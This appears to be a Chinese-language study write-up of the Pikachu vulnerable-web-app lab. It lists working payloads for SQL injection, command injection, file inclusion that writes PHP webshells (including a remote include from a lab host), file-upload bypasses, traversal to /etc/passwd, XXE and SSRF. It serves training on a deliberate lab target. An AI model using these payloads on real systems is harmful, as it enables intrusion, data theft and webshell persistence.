最近考试在即,对pikachu靶场的部分漏洞又做了一遍,相当于复习一下常规漏洞,由于图片较多,也懒得重新部署到图床上了,所以没有图片,看起来比较粗糙。
SQL注入
数字型注入
后端sql查询语句为
$query="select username,email from member where id=$id";
id=1 and 1=1 回显正常
id=1 and 1=2 回显错误,存在注入
id=1 order by 2 回显正常存在2个字段
id=1 union select 1,2
id=1 union select 1,database() // Pikachu
id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()// 查表

id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'// 查列

id=1 union select 1,group_concat(username,":",password) from users
id=1 union select 1,count(*) from users// 猜记录数量
字符型注入
后端sql查询语句为
$query="select id,email from member where username='$name'";
vince'+and+'a'%3d'a// 正常回显 实则=vince’ and ‘a’=’a,url编码输入
vince'+and+'a'%3d'a // 提示username不存在,存在注入
name=vince'+order+by+2%23// 存在2个字段
name=vince'+union+select+1,2%23
name=vince'+union+select+1,database()%23// 数据库pikachu
name=vince'+union+select+1,group_concat(table_name)+from+information_schema.tables+where+table_schema%3ddatabase()%23// 表名

name=vince'+union+select+1,group_concat(column_name)+from+information_schema.columns+where+table_name%3d'member'%23// 猜列名

name=vince'+union+select+1,group_concat(username,':',pw)+from+member%23

name=vince'+union+select+1,count(*)+from+member%2// 记录数
搜索型注入
所执行的sql语句为
$query="select username,id,email from member where username like '%$name%'";
name=allen'+order+by+3%23// 猜测数据列数,这里必须保证数据库真的有allen这个用户名,否则无法成功
name=allen'+union+select+1,2,3%23
name=allen'+union+select+1,2,database()%23
name=allen'+union+select+1,2,group_concat(table_name)+from+information_schema.tables+where+table_schema%3ddatabase()%23
name=allen'+union+select+1,2,group_concat(column_name)+from+information_schema.columns+where+table_name%3d'users'%23
name=allen'+union+select+1,2,group_concat(username,':',password)+from+users%23
?name=allen'+union+select+1,2,length(group_concat(username,':',password))+from+users%23// 猜测用户密码总长度,可用于盲注
xx型注入
sql查询语句为
$query="select id,email from member where username=('$name')";
所以需要闭合掉括号
name=vince')+order+by+2%23// 前提是name的值vince要存在
name=vince')+union+select+1,2%23
name=vince')+union+select+1,group_concat(table_name)+from+information_schema.tables+where+table_schema%3ddatabase()%23
vince')+union+select+1,group_concat(column_name)+from+information_schema.columns+where+table_name%3d'message'%23
insert/update注入
update语句

insert语句

updatexml函数
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串),如果不了解Xpath语法,可以在网上查找教程。第三个参数:new_value,String格式,替换查找到的符合条件的数据
username=1'+and+updatexml(1,concat(0x7e,(select+database()),0x7e),1)+and+'
这种insert注入个人理解如果你在前几个字段插入注入语句是不能通过#、–+等一系列闭合,这样会破坏后面的语句
除非你将注入语句放到最后一个字段,再用 ) 将其闭合形成完整语句
username=a&password=a&sex=a&phonenum=a&email=a&add=1'+and+updatexml(1,concat(0x7e,(select+database()),0x7e),1))%23&submit=submit
猜表
username=1'+and+updatexml(1,concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema%3ddatabase()),0x7e),1)+and+'&password=a&sex=a&phonenum=a&email=a&add=1&submit=submit

1'+and+updatexml(1,concat(0x7e,(select+group_concat(column_name)+from+information_schema.columns+where+table_name%3d'user'),0x7e),1)+and+'&password=a&sex=a&phonenum=a&email=a&add=1&submit=submit

可以看到使用updatexml显示结果长度有限,使用limit控制条数
username=1'+and+updatexml(1,concat(0x7e,(select+column_name+from+information_schema.columns+where+table_name%3d'users'+limit+0,1),0x7e),1)+and+'&password=a&sex=a&phonenum=a&email=a&add=1&submit=submit
extractvalue函数
extractvalue函数:对XML文档进行查询的函数其实就是相当于我们熟悉的HTML文件中用
username=1’+and+extractvalue(1,concat(0x7e,(select+database()),0x7e))+and+’&password=a&sex=a&phonenum=a&email=a&add=1&submit=submit
1 | username=1'+and+extractvalue(1,concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema%3ddatabase()),0x7e))+and+'&password=a&sex=a&phonenum=a&email=a&add=1&submit=submit |
update型注入
和insert一样,只要闭合正确就ok
sex=1'+and+extractvalue(1,concat(0x7e,(select+database()),0x7e))+and+'&phonenum=a&add=a&email=a&submit=submit
1 | sex=1'+and+extractvalue(1,concat(0x7e,(select+table_name+from+information_schema.tables+where+table_schema%3ddatabase()+limit+0,1),0x7e))+and+'&phonenum=a&add=a&email=a&submit=submit |
delete型
删除语句,没对id进行处理
$query="delete from message where id={$_GET['id']}";
尝试删除留言,留言为id参数,加’报错,使用报错注入
id=56+and+extractvalue(1,concat(0x7e,(select+database()),0x7e))
1 | id=56+and+extractvalue(1,concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema%3ddatabase()),0x7e)) |

extractvalue无法显示全,使用limit
1 | id=56+and+extractvalue(1,concat(0x7e,(select+table_name+from+information_schema.tables+where+table_schema%3ddatabase()+limit+0,1),0x7e)) |
或者使用updatexml函数
1 | id=56+and+updatexml(1,concat(0x7e,(select+database()),0x7e),1) |
header头注入
关键代码
1 | //直接获取前端过来的头信息,没人任何处理,留下安全隐患 |
其实也属于insert注入,在cookie和user-agent插入但引号都会导致其报错,使用报错注入
这里有个疑问,将空格url编码为+反而不行,难道是插入语句没有使用{}?
1 | a' and extractvalue(1,concat(0x7c,(select database()),0x7c)) and ' |
或者updatexml
1 | User-Agent: 1' and updatexml(1,concat(0x7c,(select database()),0x7c),1) and ' |
盲注
核心代码
1 | if(isset($_GET['submit']) && $_GET['name']!=null){ |
语句执行成功会返回id和邮箱,否则会提示username不存在

vince'+and+length(database())>%3d7%23 // 判断数据库长度,为7位
?name=vince'+and+substr(database(),1,1)%3d'p'%23// 猜数据库名
可以使用burpsuite配合ascii函数爆破33-127位ascii的可见字符
1 | vince'+and+ascii(substr(database(),1,1))%3d112%23 |


1 | name=vince'+and+length((select+group_concat(table_name)+from+information_schema.tables+where+table_schema%3ddatabase()))%3d1%23 //猜表长度 |
时间瞒注
关键代码
1 | if(isset($_GET['submit']) && $_GET['name']!=null){ |
从代码可以看出,无论对与错都只会输出i don't care who you are!
name=vince'+and+if(length(database())>1,sleep(5),1)%23// 如果数据库长度大于1,会延迟5秒返回结果,前提是数据库必须有vince这个用户才行,不然无法查询成功。

name=vince'+and+if(substr(database(),1,1)%3d'p',sleep(5),1)%23// 猜数据库名
或者使用ascii,配合bp的爆破模块,结合logger++插件来进行时间瞒注,这方法不太准,大量请求可能消耗服务器资源影响响应速度
?name=vince'+and+if(ascii(substr(database(),2,1))%3d106,sleep(2),1)%2

1 | ?name=vince'+and+if(ascii(substr((select+group_concat(table_name)+from+information_schema.tables+where+table_schema%3ddatabase()),1,1))%3d104,sleep(5),1)%23 //猜表命 |
宽字节注入
核心代码
1 | if(isset($_POST['submit']) && $_POST['name']!=null){ |
name=1%df' or 1=1#
name=kobe%df' union select 1,2#
1 | name=kobe%df' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database())# |

rce
ping
核心代码
1 | if(isset($_POST['submit']) && $_POST['ipaddress']!=null){ |
127.0.0.1&whoami
127.0.0.1||whoami
127.0.0.1|whoami
或者绕waf
127.0.0.1&wh\oami
127.0.0.1 & ca\t ../?ey.?hp
eval
核心代码
1 | $html=''; |
eval可直接执行php代码
phpinfo();
当然也能使用system函数执行命令,要考虑闭合
1 | {{system('id')}} |
一个eval函数的ctf题
1 |
|
解题
1 | a=${${system('cat ./key4.php')}} |
文件包含
本地文件包含
关键代码
1 | $html=''; |
文件包含常见利用方式
1 | file直接读文件 |
目录浏览
filename=../../../../../../../../../etc/passwd

但它只包含include下的文件,貌似无法使用绝对路径和伪协议了
远程文件包含
远程文件包含需要php.ini打开如下配置
allow_url_include=on
关键代码
1 | if(isset($_GET['submit']) && $_GET['filename']!=null){ |
从代码可以看出,get传进来直接包含,这里除了可以远程文件包含,还可以使用伪协议
直接使用绝对路径读取文件
?filename=/etc/passwd
- 使用php://filter
filename=php://filter/read=convert.base64-encode/resource=/etc/passwd


- 使用data://text
?file=data://text/plain,<?php phpinfo();?>
执行失败使用url编码
data://text/plain,<%3fphp+phpinfo()%3b%3f>
直接使用system函数执行命令
data://text/plain,<%3fphp+system('id')%3b%3f>
data://text/plain,<?php system('id');?>
shell_exec函数
data%3atext/plain,<%3fphp+echo+shell_exec("dir")+%3f>
data:text/plain,<?php echo shell_exec("dir") ?>
若遇到一些过滤使用base64编码
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
这里执行失败,url编码所有字符可执行成功
写入文件,将以下木马url编码后即可写入成功
1 | fputs(fopen('shell.php','w'),'<?php $var=shell_exec($_GET["cmd"]); echo $var ?>'); |
data%3a//text/plain,<%3fphp+fputs(fopen('shell.php','w'),'<%3fphp+$var%3dshell_exec($_GET["cmd"])%3b+echo+$var+%3f>')%3b%3f>
或者写入一句话木马,报错就url编码
1 | data://text/plain, fputs(fopen('shell.php','w'),' eval($_POST["cmd"]);'); |
- php://input


或者写webshell
1 | fputs(fopen('shell.php','w'),'<?php eval($_POST["cmd"]);?>'); |

或者也可以这么写
1 |
|
- 远程文件包含
在远程服务器新建shell.txt,写入一句话木马,启动web服务
1 | eval($_POST["cmd"]); |
蚁剑直接连
1 | http://192.168.1.7:8000/vul/fileinclude/fi_remote.php?filename=http://192.168.1.7:8080/shell.txt&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2 |

可执行任何php代码,上线msf也可以
任意文件下载
部分代码
1 |
|
未对下载文件做过滤限制,可下载敏感文件
?filename=../../../../../etc/passwd

filename=../../../../../root/.bash_history //这里无法下载这个文件,怀疑是没有权限
任意文件上传
client check
关键代码
1 | <script> |
只在前端效验文件后缀,绕过方法很简单,将一句话木马后缀修改为jpg后缀,提交用bp抓包再将后缀修改为php,或者禁用或删除相关js代码即可绕过
MIME TYPE
关键代码
1 | if(isset($_POST['submit'])){ |
修改Content-Type: image/jpeg 即可
getimagesize
1 | if(isset($_POST['submit'])){ |
已经采用白名单指定了文件后缀,只能制作图片马,结合文件包含加以利用
copy 1.png/b+1.php/a shell.png
中国蚁剑连接
http://192.168.1.108/pikachu/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/2022/06/01/5378955e8473f39896e235759676.png&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
越权
水平越权
关键代码
1 | if(isset($_GET['submit']) && $_GET['username']!=null){ |
只通过username来输出要查询的身份信息
op1_mem.php?username=lucy
只需将lucy更改为其他人的名字,就能查询他人信息
op1_mem.php?username=kobe

垂直越权
关键代码
op2_login.php
1 | if(mysqli_num_rows($result)==1){ |
op2_admin.php
1 | // 判断是否登录,没有登录不能访问 |
op2_admin_edit.php
1 | // 判断是否登录,没有登录不能访问 |
使用管理员账号admin登陆,创建用户并抓包
然后退出管理员账户,使用普通账户pikachu登陆并获取其cookie
将普通用户的cookie替换为admin的cookie
也就是用普通用户pikachu的cookie完成了admin才能完成的操作
目录遍历
介绍
在web功能设计中,很多时候我们会要将需要访问的文件定义成变量,从而让前端的功能便的更加灵活。 当用户发起一个前端的请求时,便会将请求的这个文件的值(比如文件名称)传递到后台,后台再执行其对应的文件。 在这个过程中,如果后台没有对前端传进来的值进行严格的安全考虑,则攻击者可能会通过“../”这样的手段让后台打开或者执行一些其他的文件。 从而导致后台服务器上其他目录的文件结果被遍历出来,形成目录遍历漏洞。
看到这里,你可能会觉得目录遍历漏洞和不安全的文件下载,甚至文件包含漏洞有差不多的意思,是的,目录遍历漏洞形成的最主要的原因跟这两者一样,都是在功能设计中将要操作的文件使用变量的 方式传递给了后台,而又没有进行严格的安全考虑而造成的,只是出现的位置所展现的现象不一样,因此,这里还是单独拿出来定义一下。
需要区分一下的是,如果你通过不带参数的url(比如:http://xxxx/doc)列出了doc文件夹里面所有的文件,这种情况,我们成为敏感信息泄露。 而并不归为目录遍历漏洞。(关于敏感信息泄露你你可以在”i can see you ABC”中了解更多)
你可以通过“../../”对应的测试栏目,来进一步的了解该漏洞。
关键代码
1 | $html=''; |
http://127.0.0.1:8000/vul/dir/dir_list.php?title=../../../../etc/passwd

敏感信息泄露
注释泄露账户密码

直接访问abc.php可成功访问,无需效验cookie即可查看
http响应他泄露中间件、版本、操作系统信息
反序列化
引用自 反序列化
序列化就是将数据转化成一种可逆的字符串,字符串还原原来结构的过程叫做反序列化
序列化后,方便保存和传输(保留成员变量,不保留函数方法)
数据(对象)——–序列化———->字符串———–反序列化——–>数据(对象)
1 | class S{ |
再来看源代码
1 | class S{ |
o是可控的,反序列化成功会执行
先进行一个序列化
1 |
|
得到O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
xxe
代码
1 | if(isset($_POST['submit']) and $_POST['xml'] != null){ |
任意文件读取payload
1 | <?xml version="1.0" encoding="UTF-8"?> |
使用伪协议
1 | <?xml version = "1.0"?> |
url重定向
1 | $html=""; |
直接抓包修改url参数
/vul/urlredirect/urlredirect.php?url=http://www.baidu.com
SSRF
curl
代码
1 | if(isset($_GET['url']) && $_GET['url'] != null){ |
使用伪协议
- file
http://127.0.0.1:8000/vul/ssrf/ssrf_curl.php?url=file:/etc/passwd
- http
127.0.0.1:8000/vul/ssrf/ssrf_curl.php?url=http://192.168.1.1
dict
/vul/ssrf/ssrf_curl.php?url=dict://192.168.1:80
更多姿势利用gopher协议打内网服务,如redis、sql、struts2等
file_get_contents
代码
1 | if(isset($_GET['file']) && $_GET['file'] !=null){ |
利用方式还是一样的,但还是有些区别
/vul/ssrf/ssrf_fgc.php?file=file:///etc/passwd
/vul/ssrf/ssrf_fgc.php?file=php://filter/read=convert.base64-encode/resource=ssrf.php // 这个伪协议在curl下利用失败